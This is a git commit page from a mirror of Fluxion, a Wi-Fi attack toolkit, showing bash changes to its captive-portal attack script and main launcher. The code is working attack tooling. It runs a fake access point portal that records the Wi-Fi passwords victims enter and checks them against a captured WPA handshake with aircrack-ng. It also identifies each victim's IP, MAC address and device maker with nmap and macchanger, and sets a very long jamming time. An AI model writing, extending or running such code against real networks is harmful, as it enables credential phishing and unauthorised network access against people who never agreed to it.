Mirrors
/
fluxion
mirror of https://github.com/FluxionNetwork/fluxion.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Minor changes

This commit is contained in:
deltaxflux 2017-12-20 15:14:18 +01:00
parent 4437004dea
commit efe78f1c7e
2 changed files with 44 additions and 47 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

87
attacks/Captive Portal/attack.sh
View File

@ -5,6 +5,7 @@ CaptivePortalState="Not Ready"
CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog"
CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog"
CaptivePortalMacLog="$FLUXIONPath/attacks/Captive Portal/netlog/"
CaptivePortalJamTime="9999999999999"
CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant")
@ -345,6 +346,45 @@ function captive_portal_unset_attack() {
fi
}
function GetClientIP ()
{
if [ -f "/tmp/fluxspace/ip_hits" ];then
MatchedClientIP=$(cat /tmp/fluxspace/ip_hits | tail -n 1 | head -n 1)
else
MatchedClientIP="unknown"
fi
echo $MatchedClientIP
}
function GetMacFromIP () {
if [ -f "/tmp/fluxspace/ip_hits" ] && [ $(GetClientIP) != "" ];then
IP=$(GetClientIP)
MatchedClientMAC=$(nmap -PR -sn -n $IP 2>&1 | grep -i mac | awk '{print $3}' | tr [:upper:] [:lower:])
if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then
MatchedClientMAC="xx:xx:xx:xx:xx:xx"
fi
else
MatchedClientMAC="unknown"
fi
echo $MatchedClientMAC
}
function GetModelBrand ()
{
if [ $(GetMacFromIP) != "" ];then
VICTIM_FABRICANTE=$(macchanger -l | grep "$(echo "$(GetMacFromIP)" | cut -d ":" -f -3)" | cut -d " " -f 5-)
if echo \$MatchedClientMAC| grep -q x; then
VICTIM_FABRICANTE=\"unknown\"
fi
else
VICTIM_FABRICANTE="unknown"
fi
echo $VICTIM_FABRICANTE
}
# Create different settings required for the script
function captive_portal_set_attack() {
# AP Service: Prepare service for an attack.
@ -568,10 +608,6 @@ AuthenticatorState=\"running\"
startTime=\$(date +%s)
if [ ! -f "$CaptivePortalIpLog" ];then
touch $CaptivePortalIpLog
fi
while [ \$AuthenticatorState = \"running\" ]; do
let s=\$(date +%s)-\$startTime
@ -609,9 +645,6 @@ while [ \$AuthenticatorState = \"running\" ]; do
# Save any new password attempt.
cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC.log\"
# Save ips to file
echo -e "$(if [ -f "$CaptivePortalIpLog" ];then cat "$CaptivePortalIpLog" | tail -n 1 | head -n 1; fi)\n" >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC-IP.log\"
# Clear logged password attempt.
echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\"
fi
@ -721,43 +754,10 @@ Channel: $APTargetChannel
Security: $APTargetEncryption
Time: \$ih\$h:\$im\$m:\$is\$s
Password: \$(cat $FLUXIONWorkspacePath/candidate.txt)
Mac: $MatchedClientMAC
IP: $MatchedClientIP
Mac: $(GetMacFromIP)
IP: $(GetClientIP)
\" >\"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
echo "
while true; do
if [ -f "/tmp/fluxspace/ip_hits" ];then
MatchedClientIP=$(cat $/tmp/fluxspace/ip_hits)
if [ "$MatchedClientIP" != "" ];then
MatchedClientMAC=\$(nmap -PR -sn -n \$MatchedClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:])
if [ \"\$(echo \$MatchedClientMAC| wc -m)\" != \"18\" ]; then
MatchedClientMAC=\"xx:xx:xx:xx:xx:xx\"
fi
VICTIM_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$MatchedClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-)
if echo \$MatchedClientMAC| grep -q x; then
VICTIM_FABRICANTE=\"unknown\"
fi
else
MatchedClientIP="Unknown"
MatchedClientMAC="Unknown"
fi
echo "$MatchedClientIP $MatchedClientMAC $(cat $/tmp/fluxspace/ip_hits)"
sleep 2
fi
echo "File not found"
done
" >> "$FLUXIONWorkspacePath/watch_ip.sh"
chmod +x "$FLUXIONWorkspacePath/watch_ip.sh"
if [ $APRogueAuthMode = "hash" ]; then
echo "
aircrack-ng -a 2 -b $APTargetMAC -0 -s \"$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log"$CClr"\"\
@ -1093,9 +1093,6 @@ function start_attack() {
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
# Debug
xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "Debug" -e "bash $FLUXIONWorkspacePath/watch_ip.sh" &
}
# FLUXSCRIPT END

4
fluxion.sh
View File

@ -13,7 +13,7 @@ declare -r FLUXIONNoiseFloor=-90
declare -r FLUXIONNoiseCeiling=-60
declare -r FLUXIONVersion=3
declare -r FLUXIONRevision=8
declare -r FLUXIONRevision=9
declare -r FLUXIONDebug=${FLUXIONDebug:+1}
declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}
@ -259,7 +259,7 @@ if [ ! $FLUXIONDebug ]; then
echo
FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc")
FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc")
FLUXIONCLIToolsMissing=()
while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@]